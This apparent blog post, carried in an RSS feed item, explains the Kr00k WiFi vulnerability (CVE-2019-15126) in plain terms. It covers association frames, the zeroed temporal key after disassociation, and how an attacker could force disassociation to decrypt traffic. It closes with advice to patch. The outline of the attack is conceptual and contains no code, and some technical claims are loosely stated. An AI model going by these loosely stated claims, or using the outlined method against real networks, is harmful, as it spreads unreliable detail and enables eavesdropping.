            <content:encoded><![CDATA[<h3>Inspecting — KrØØk Vulnerability</h3><p>If you are reading this article, I believe you have connected to a WiFi network, and there are chances that you are vulnerable to a new security issue called — “ <strong>The Kr00k Vulnerability </strong>”, which could decrypt the WPA-2 encryption <strong>without any</strong> <strong>authorization</strong>. Below I have provided an overview &amp; shortcomings of the same.</p><h3>How does Wi-Fi Work?</h3><p>I want to focus on how WiFi work, as this would be the prerequisite to understanding why <strong>Kr00k</strong> is so vulnerable. The moment you connect to a wireless network, a bunch of requests are ready to be executed in the background, which is technically interesting!</p><p>Imagine you have connected to a wired network — with your host system that somewhat looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvkIl4mxTZMPGCPEDG2_qw.png" /><figcaption>Scenario 1 — Wired Connection to the Internet</figcaption></figure><p>Now think about what would be the change if the host wants to connect to the internet wirelessly.</p><p>The answer hides with a hardware mechanism called <strong>Access Point, </strong>which provides wireless network access to all WiFi devices nearby. Now the picture slightly gets changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCHhLoMoox4qubRxTk-l6Q.png" /><figcaption>Scenario 2 — Wireless Connection to the Internet</figcaption></figure><p>When a device (like a mobile phone) connects to a wifi network, it first establishes a connection with an AP (Access Point).</p><blockquote>“ This connection establishment is called association and disconnection of a device from the Wifi network is called disassociation. A combination of both is called Reassociation.”</blockquote><p>Each request has a binary value assigned by the <strong>Management Frames. </strong>These are as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*BEbbW5NAhbQsfsZ0GR23CQ.png" /></figure><p>The following frames are sent and responded to bridge a wireless network between a device and an access point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*f-TFr9kxY7bpecUl9ST17Q.png" /><figcaption>WAP — Authentication and Association Process</figcaption></figure><ol><li>Probe Request and response is sent and received, <strong>requesting information</strong> about the access point.</li><li>Authentication happens mutually.</li><li>Finally, the client sends association requests(0x0000) and association responses(0x0001).</li></ol><p>If it is successful, the data gets transferred seamlessly. <strong>But, the most important thing to consider here is:</strong></p><blockquote>“ These binary values and requests are un-encrypted and un-authenticated ”</blockquote><p>Now the hacker comes into play, modifies the binary values, decrypts the WPA-2 encryption, and sniffs all the network packets.</p><h3>Attacking with Kr00k:</h3><p>This vulnerability was first identified in Broadcom WiFi chipsets by ESET researchers, later named <strong>CVE-2019–15126</strong>. Within every WiFi chipset, we can find a 128-bit <strong>Temporal Key</strong>, used to <strong>encrypt</strong> <strong>the data frames</strong> during a transmission.</p><p>To understand, let’s relate this temporal key to a<strong> session variable</strong> used in web browsers.</p><p>When the session ends, these<strong> session variables are</strong> <strong>cleared </strong>either the moment browser is closed or due to a time-out.</p><p>Similarly, the <strong>Temporal Key is cleared and set to zero </strong>during<strong> </strong>disassociation (i.e disconnection from the WiFi network)<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dm0y-KbvXOv0jOQRetI8PA.png" /></figure><blockquote>When<strong> </strong>the temporal key is zero, No data can transmit until it is associated again.</blockquote><p>Data transmitted is encrypted with a zero — encryption key that anyone can decrypt by providing the zero.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*hanf2Nvtel4-xj8lb5PtfA.png" /></figure><p>Now it’s a cakewalk for the hackers. They can manually trigger a disassociation to make the Temporal key a <strong>Zero-Encrypted key</strong> and decrypt the data frames by providing the zeroes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*A4uhkiIJALyUAivy8rZL9g.png" /><figcaption>source: www.eset.com/int/kr00k</figcaption></figure><h4>It leads to unauthorized reading and decryption of data packets.</h4><h3>Conclusion:</h3><p>As stated by ESET, this vulnerability affects Amazon (Echo, Kindle), Apple (iPhone, iPad, MacBook), Google (Nexus), Samsung (Galaxy), as well as devices under many other brands.</p><p>Patches for the affected devices have been released. Ensure that you use the updated Patches for all the WiFi devices, firmware, and software.</p><p>And remember — “One single Vulnerability is all a hacker Needs.”</p><p>So Stay Safe &amp; Secure 🙂</p><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af70ff197488" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>